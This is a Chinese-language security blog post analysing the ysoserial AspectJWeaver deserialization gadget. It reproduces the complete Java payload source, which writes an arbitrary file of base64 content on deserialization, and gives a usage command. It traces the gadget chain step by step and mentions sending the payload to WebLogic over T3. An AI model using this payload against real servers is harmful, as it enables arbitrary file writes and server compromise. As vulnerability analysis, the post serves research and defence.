ysoserial AspectJWeaver file write gadget

昨天在挖weblogic漏洞时发现ysoserial更新了一个新的gadget AspectJWeaver,今天分析一下。

分析

先看下yso给出的payload

  1package ysoserial.payloads;
  2
  3import org.apache.commons.codec.binary.Base64;
  4import org.apache.commons.collections.Transformer;
  5import org.apache.commons.collections.functors.ConstantTransformer;
  6import org.apache.commons.collections.keyvalue.TiedMapEntry;
  7import org.apache.commons.collections.map.LazyMap;
  8import ysoserial.payloads.annotation.Authors;
  9import ysoserial.payloads.annotation.Dependencies;
 10import ysoserial.payloads.annotation.PayloadTest;
 11import ysoserial.payloads.util.PayloadRunner;
 12import ysoserial.payloads.util.Reflections;
 13
 14import java.io.Serializable;
 15import java.lang.reflect.Constructor;
 16import java.lang.reflect.Field;
 17import java.util.HashMap;
 18import java.util.HashSet;
 19import java.util.Map;
 20
 21/*
 22Gadget chain:
 23HashSet.readObject()
 24    HashMap.put()
 25        HashMap.hash()
 26            TiedMapEntry.hashCode()
 27                TiedMapEntry.getValue()
 28                    LazyMap.get()
 29                        SimpleCache$StorableCachingMap.put()
 30                            SimpleCache$StorableCachingMap.writeToPath()
 31                                FileOutputStream.write()
 32
 33Usage:
 34args = ";"
 35Example:
 36java -jar ysoserial.jar AspectJWeaver "ahi.txt;YWhpaGloaQ=="
 37
 38More information:
 39https://medium.com/nightst0rm/t%C3%B4i-%C4%91%C3%A3-chi%E1%BA%BFm-quy%E1%BB%81n-%C4%91i%E1%BB%81u-khi%E1%BB%83n-c%E1%BB%A7a-r%E1%BA%A5t-nhi%E1%BB%81u-trang-web-nh%C6%B0-th%E1%BA%BF-n%C3%A0o-61efdf4a03f5
 40 */
 41@PayloadTest(skip="non RCE")
 42@SuppressWarnings({"rawtypes", "unchecked"})
 43@Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"})
 44@Authors({ Authors.JANG })
 45
 46public class AspectJWeaver implements ObjectPayload {
 47
 48    public Serializable getObject(final String command) throws Exception {
 49        int sep = command.lastIndexOf(';');
 50        if ( sep < 0 ) {
 51            throw new IllegalArgumentException("Command format is: :");
 52        }
 53        String[] parts = command.split(";");
 54        String filename = parts[0];
 55        byte[] content = Base64.decodeBase64(parts[1]);
 56
 57        Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
 58        Object simpleCache = ctor.newInstance(".", 12);
 59        Transformer ct = new ConstantTransformer(content);
 60        Map lazyMap = LazyMap.decorate((Map)simpleCache, ct);
 61        TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);
 62        HashSet map = new HashSet(1);
 63        map.add("foo");
 64        Field f = null;
 65        try {
 66            f = HashSet.class.getDeclaredField("map");
 67        } catch (NoSuchFieldException e) {
 68            f = HashSet.class.getDeclaredField("backingMap");
 69        }
 70
 71        Reflections.setAccessible(f);
 72        HashMap innimpl = (HashMap) f.get(map);
 73
 74        Field f2 = null;
 75        try {
 76            f2 = HashMap.class.getDeclaredField("table");
 77        } catch (NoSuchFieldException e) {
 78            f2 = HashMap.class.getDeclaredField("elementData");
 79        }
 80
 81        Reflections.setAccessible(f2);
 82        Object[] array = (Object[]) f2.get(innimpl);
 83
 84        Object node = array[0];
 85        if(node == null){
 86            node = array[1];
 87        }
 88
 89        Field keyField = null;
 90        try{
 91            keyField = node.getClass().getDeclaredField("key");
 92        }catch(Exception e){
 93            keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
 94        }
 95
 96        Reflections.setAccessible(keyField);
 97        keyField.set(node, entry);
 98
 99        return map;
100
101    }
102
103    public static void main(String[] args) throws Exception {
104        args = new String[]{"ahi.txt;YWhpaGloaQ=="};
105        PayloadRunner.run(AspectJWeaver.class, args);
106    }
107}

先看堆栈后半段

org.aspectj.weaver.tools.cache.SimpleCache.StoreableCachingMap#writeToPath

writeToPath中key和value分别是文件名和内容。

org.aspectj.weaver.tools.cache.SimpleCache.StoreableCachingMap#put 中调用了writeToPath。

现在如果反序列化时可以触发put方法,就可以自动写入文件。

再通过正向思维看前半段,我们的目的是寻找put方法调用。

在HashSet类的readObject中

进行了map.put,跟进

跟进hash()

这里自动调用了key.hashCode()即 org.apache.commons.collections.keyvalue.TiedMapEntry#hashCode

hashCode()自动调用了getValue()

getValue()又调用自身map字段的get方法。自身map字段为Map类型,而在 org.apache.commons.collections.map.LazyMap#get 中进行了put方法,接上了我们后半段的put方法。

到此整条链就结束了,算是比较简单的一条gadget。

这条链我通过T3打过去,发现weblogic已经过滤了 org.apache.commons.collections.functors 包名,相信不久就会出现新的绕过。

参考

  1. 我在weblogic服务器12.2.1.3.0中找到了一个新的RCE gadget

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。